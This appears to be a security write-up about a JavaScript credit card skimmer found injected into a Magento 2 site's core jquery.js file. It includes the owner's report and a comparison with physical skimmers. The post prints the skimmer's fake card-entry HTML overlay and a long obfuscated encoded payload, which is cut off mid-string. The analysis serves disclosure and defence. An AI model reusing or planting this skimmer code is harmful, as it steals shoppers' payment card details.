This JavaScript skimmer was found injected into the Magento 2 core source file: lib/web/jquery.js

Owner Reports Malicious Activity

I believe changes have been made which is affecting the checkout pages. Can you check for skimming in all recent file edits etc. We noticed our SagePay payment method has changed to allow customers to enter card details directly on the checkout page. We have never enabled this option and always opted for routing customers to SagePay servers with an iframe to enter directly on their website.

Thankfully the website owner was able to quickly detect this suspicious activity and reversed the change that the attacker had made to the Sagepay payment method.

Skimmer

It uses the “traditional” skimming method of using JavaScript and generating its own HTML overlay for the payment data fields.

jQuery("#sagepaysuiteserver")
        .parent()
        .parent()
        .find(".payment-method-content")
        .prepend(
          '<div id="payment_form_authorizenet_directpost"><div> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Credit Card Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" name="payment[cc_number]" id="authorizenet_directpost_cc_number" title="Credit Card Number" style="box-shadow: none;width: 225px !important;height: 32px !important;color: black;font-family: Arial;"><div id="authorizenet_directpost_cc_number-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card type number.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Expiration Date</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <select name="payment[cc_exp_month]" id="authorizenet_directpost_expiration" style="box-shadow: none;width: 140px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;margin-right: 5px;min-height: 32px !important;"><option value="0">Month</option><option value="1">01 - January</option><option value="2">02 - February</option><option value="3">03 - March</option><option value="4">04 - April</option><option value="5">05 - May</option><option value="6">06 - June</option><option value="7">07 - July</option><option value="8">08 - August</option><option value="9">09 - September</option><option value="10">10 - October</option><option value="11">11 - November</option><option value="12">12 - December</option> </select><select name="payment[cc_exp_year]" id="authorizenet_directpost_expiration_yr" style="box-shadow: none;width: 80px !important;height: 32px !important;border: 1px solid #c2c2c2;color: black;font-family: Arial;min-height: 32px !important;"><option value="0">Year</option><option value="2020">2020</option><option value="2021">2021</option><option value="2022">2022</option><option value="2023">2023</option><option value="2024">2024</option><option value="2025">2025</option><option value="2026">2026</option><option value="2027">2027</option><option value="2028">2028</option><option value="2029">2029</option><option value="2030">2030</option> </select><div id="authorizenet_directpost_expiration-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Incorrect credit card expiration date.</div></div></div><div style="margin-top: 20px;"> <label> <span><span style="font-weight: bold;font-family: Arial;font-size: 14px;color: #333;">Card Verification Number</span><span style="color: #e02b27;font-size: 11px;margin-left: 5px;"> *</span></span> </label> <div style="margin-top: 8px;"> <input type="number" style="box-shadow: none;width: 65px !important;height: 32px !important;color: black;font-family: Arial;" id="authorizenet_directpost_cc_cid" name="payment[cc_cid]" title="Card Verification Number"><div id="authorizenet_directpost_cc_cid-error" style="color: #e02b27;font-size: 13px;margin-top: 5px;display: none;">Please enter a valid credit card verification number.</div></div></div></div>'
        ),

This is similar to how IRL skimmers will use overlays that sit between the user and the actual keyboard interface:

IRL vs Digital Skimmer
When deployed, there is no black box around the digital skimmer and it should seamlessly integrate.

Functions

The skimmer code is obfuscated and split into 2 lines, which are injected to separate lines among the existing thousands of lines of legitimiate code inside the Magento 2 jquery.js file.

lib/web/jquery.js:

  1. 
    var s31464 = "1gc66pc666e546n516m6e4v5a5c6k5c6j6m6n4c6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i3n6c6n515053546n50513n3k4c6d6g6p506m533l575s6c506r6g3b3b575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6l506n526d553b3b3d536c6n5e4n3d3c4t5e6l505c6r486n6d506r6f5c6l3d6e546n516m6e4v5a5c6k5c6j6m6n3c3c644t4k4x4x3c4q6f5c6r3l506n5e6r6g6p6d5a515c6d5c4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4t6m4t6n4c5f6d6m5c3d506n5e6m51505g5v484i6m6k6p6m6n506n6d3d503c3c4t6r4c3n3n4q536m6r3d6d4c4x4q6d4d6n4v6l506n526d554q6d3e3e3c6m4c4z4k3e3d4z4p3e3d4w4z4n5b6n5m6d584v5e555c6r4i6m51504g6d3d4x3c3c5b4w4z4w3c4t6r3e4c5u6d6r546n524v536r6m6k4i555c6r4i6m51503d6m3c4q6r506d6c6r6n3l6r644t536c6n5e6d546m6n4n4c536c6n5e6d546m6n3d3c6i575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c5m4x584v5c5151446f506n6d5p546q6d506n506r3d3n56506g6p6r506q6q3n4t536c6n5e6d546m6n3d503c6i4w4y4c4c4c3d504v56506g4i6m51506565504v6e55545e553c3b3b504v6p6r506f506n6d4550535c6c6l6d3d3c644t3k4w3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4t6m4c6d4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4q6d4v6f5c6l3d6m3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q536c6n5e4l3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v5f546n513d6i5e555c6n52504r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4q4w3k4c536c6n5e4z3d3c65654w3k4c536c6n5e4y3d3c4e3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v6q556m6e3d3c3c4r3d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t6m4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3c4v555451503d3c3c64643c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v5f546n513d6i546n6p6c6d4r536c6n5e6d546m6n3d503c6i504v6p6r506f506n6d4550535c6c6l6d3d3c4q6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q6d4v6f5c6l3d536c6n5e6d546m6n4p3d4l3c3c4t6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n3m5e4z5e4z5e4z3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v555451503d3c644t536m5e6c6q6m6c6d4r536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4q536c6n5e4k3d3c65653d6d4v5e6q6q3d3n5f6m6r51506r4s5e6m6l6m6r3n4t3n6r525f3d4z4z4l4t3l4l4y4t3l4y4o3c3n3c4t575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3c4v6q556m6e3d3c3c64643c4t6q506d486n6d506r6f5c6l3d536c6n5e6d546m6n3d3c6i536c6n5e4o3d3c3b3b536c6n5e4p3d3c644t4k4x4x3c644t536c6n5e6d546m6n4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c516m5e6c6k506n6d4v52506d446l506k506n6d4j6g48513d3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4q6r506d6c6r6n3l6f6m54513l4x3k4c4c503b3b6n6c6l6l3k4c50644t536c6n5e4o4c536c6n5e6d546m6n3d3c6i6r506d6c6r6n3l536c6n5e4l3d3c3b3b4w4c4c536c6n5e4z3d3c3b3b4w4c4c536c6n5e4y3d3c3b3b536c6n5e4k3d3c644t536c6n5e4n4c536c6n5e6d546m6n3d3c6i536c6n5e6d546m6n4l3d3c65653d575s6c506r6g3d3n3m6p5c6g6k506n6d5a536m6r6k5a6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6r506k6m6f503d3c4t575s6c506r6g3d3n3m6q5c52506p5c6g6q6c546d506q506r6f506r3n3c4v6p5c6r506n6d3d3c4v6p5c6r506n6d3d3c4v53546n513d3n4v6p5c6g6k506n6d4s6k506d556m514s5e6m6n6d506n6d3n3c4v6p6r506p506n513d3a4d51546f3l54514c3n6p5c6g6k506n6d5a536m6r6k5a5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d3n4f4d51546f4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i6r5051546d3l4i5c6r513l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3l6d546d6l504c3n4i6r5051546d3l4i5c6r513l5r6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4z4z4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6d6g6p503l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f446h6p546r5c6d546m6n3l455c6d504d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4w4l4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k5c6r52546n4s6r5452556d4r3l4k6p6h4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5o6m6n6d554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w3n4f4x4w3l4s3l4b5c6n6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z3n4f4x4z3l4s3l47505f6r6c5c6r6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4y3n4f4x4y3l4s3l5o5c6r5e554d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4l3n4f4x4l3l4s3l4g6p6r546l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4k3n4f4x4k3l4s3l5o5c6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4n3n4f4x4n3l4s3l4b6c6n504d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4m3n4f4x4m3l4s3l4b6c6l6g4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4p3n4f4x4p3l4s3l4g6c526c6q6d4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4o3n4f4x4o3l4s3l5u506p6d506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4x3n4f4w4x3l4s3l5q5e6d6m5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4w3n4f4w4w3l4s3l5r6m6f506k5f506r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4w4z3n4f4w4z3l4s3l45505e506k5f506r4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d6q506l505e6d3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4p4x6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5f6m6r51506r4r3l4w6p6h3l6q6m6l54513l3m5e4z5e4z5e4z4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q6k546n4s55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q3n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4x3n4f5k505c6r4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4x3n4f4z4x4z4x4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4w3n4f4z4x4z4w4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4z3n4f4z4x4z4z4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4y3n4f4z4x4z4y4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4l3n4f4z4x4z4l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4k3n4f4z4x4z4k4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4n3n4f4z4x4z4n4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4m3n4f4z4x4z4m4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4p3n4f4z4x4z4p4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4o3n4f4z4x4z4o4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4y4x3n4f4z4x4y4x4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f486n5e6m6r6r505e6d3l5e6r5051546d3l5e5c6r513l506h6p546r5c6d546m6n3l515c6d504v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4n4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a5e5451583n3l6d546d6l504c3n4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6f506r5453545e5c6d546m6n3l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d4u51546f4f3a3c4t536c6n5e6d546m6n4l3d3c3b3b536c6n5e6d546m6n4n3d3c3c644t536c6n5e6d546m6n4p4c536c6n5e6d546m6n3d503c6i6r506d6c6r6n3l536c6n5e6d546m6n4l3d3c4e4w4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r4z4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4r4y4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4r4l4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r6f6m54513l4x4r3n3n644t536c6n5e6d546m6n4m4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c6n506e3l5v5052446h6p3d3n5b4l3n3c4q54533d6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4z3n4q54533d6d4c6n506e3l5v5052446h6p3d3n5b4y5m4l4m583n3c4t6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4w3n4q6f5c6r3l6m4c504q6r506d6c6r6n3l6m4v6l506n526d554f4c4z3b3b3n4z3n4c4c6m5m4x583b3b6m5m4w584f4c3n4z3n3b3b6m5m4w584d4c3n4m3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4k3n4c4c6m5m4x583b3b6m5m4w584f4c3n4w3n3b3b6m5m4w584d4c3n4k3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4n3n4c4c6m5m4x583b3b3d3n4k3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w5865653n4l3n4c4c6m5m4w583c4e3n6m6p6p4l3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4k3n4c4c6m5m4w584e3n6m6p6p4k3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4x3n4c4c6m5m4w584e3n6m6p6p4n3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3d3n4n3n4c4c6m5m4w5865653n4p3n4c4c6m5m4w5865653n4o3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w583c4e3n6m6p6p4n3n4r3n6m6p6p4m3n644t536c6n5e4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4t6d4c536c6n5e6d546m6n4p3d4w3c4v6l506n526d554t6m4c536c6n5e6d546m6n4p3d4w3c4q54533d3n6m6p6p4w3n4c4c503c6i54533d4w4k3k4c6d3c6r506d6c6r6n3k4w64506l6q503l54533d3n6m6p6p4n3n4c4c503c6i54533d6d4d4w4l3c6r506d6c6r6n3k4w64506l6q506i54533d3n6m6p6p4m3n4c4c503c6r506d6c6r6n3k4w4q54533d6d4d4w4n3c6r506d6c6r6n3k4w64536m6r3d6f5c6r3l6n4c6m4v6q6p6l546d3d3n3n3c4t6r4c4x4q6r4d6n4v6l506n526d554q6r3e3e3c6n5m6r584c6p5c6r6q50486n6d3d6n5m6r584t4w4x3c4q6f5c6r3l544c4x4t5c4c3k4w4q536m6r3d6r4c6n4v6l506n526d554s4w4q6r4f4c4x4q6r4s4s3c5c3b3b3d6n5m6r583f4c4z4t6n5m6r584f4o3b3b3d6n5m6r584s4c4o3c3c4t543e4c6n5m6r584t5c4c3k5c4q6r506d6c6r6n3l54384w4x4c4c4x644t536c6n5e4z4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c6n506e3l455c6d504t6d4c504v52506d476c6l6l5k505c6r3d3c4t6m4c504v52506d5o6m6n6d553d3c4t6n4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4t6r4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4z3c3c4q6r506d6c6r6n3l6r4f4c4w3b3b6r4d4c4w4z4e6n4c4c6d3b3b6r4d4c6m4e4s4w4r4w4r4x644t536c6n5e4y4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c3d6n506e3l455c6d503c4v52506d476c6l6l5k505c6r3d3c4t6d4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4q6r506d6c6r6n3l6d4f4c503b3b6d4d4c4z4x4m4x4e4w4r6d4d504e4s4w4r4x644t536c6n5e4k4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4p3d4l3c4v6l506n526d554t6d4c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4q6r506d6c6r6n3n6m6p6p4w3n4c4c6d65653n6m6p6p4m3n4c4c6d4e4l4c4c504e4w4r4x4r4y4c4c504e4w4r4x644t536c6n5e4p4c536c6n5e6d546m6n3d3c6i54533d3k6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d3c6i6f5c6r3l504c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4t6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4t6n4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4q6r506o6c546r503d5m3n576o6c506r6g3n4t3n5o5c52506n6d6m5a4i55505e566m6c6d4u576q4u6k6m51506l4u6o6c6m6d503n584t536c6n5e6d546m6n3d6r4t544t5c3c6i54533d5e6c6q6d6m6k506r455c6d5c4c6e546n516m6e4v5e6c6q6d6m6k506r455c6d5c4t506k5c546l4c5e6c6q6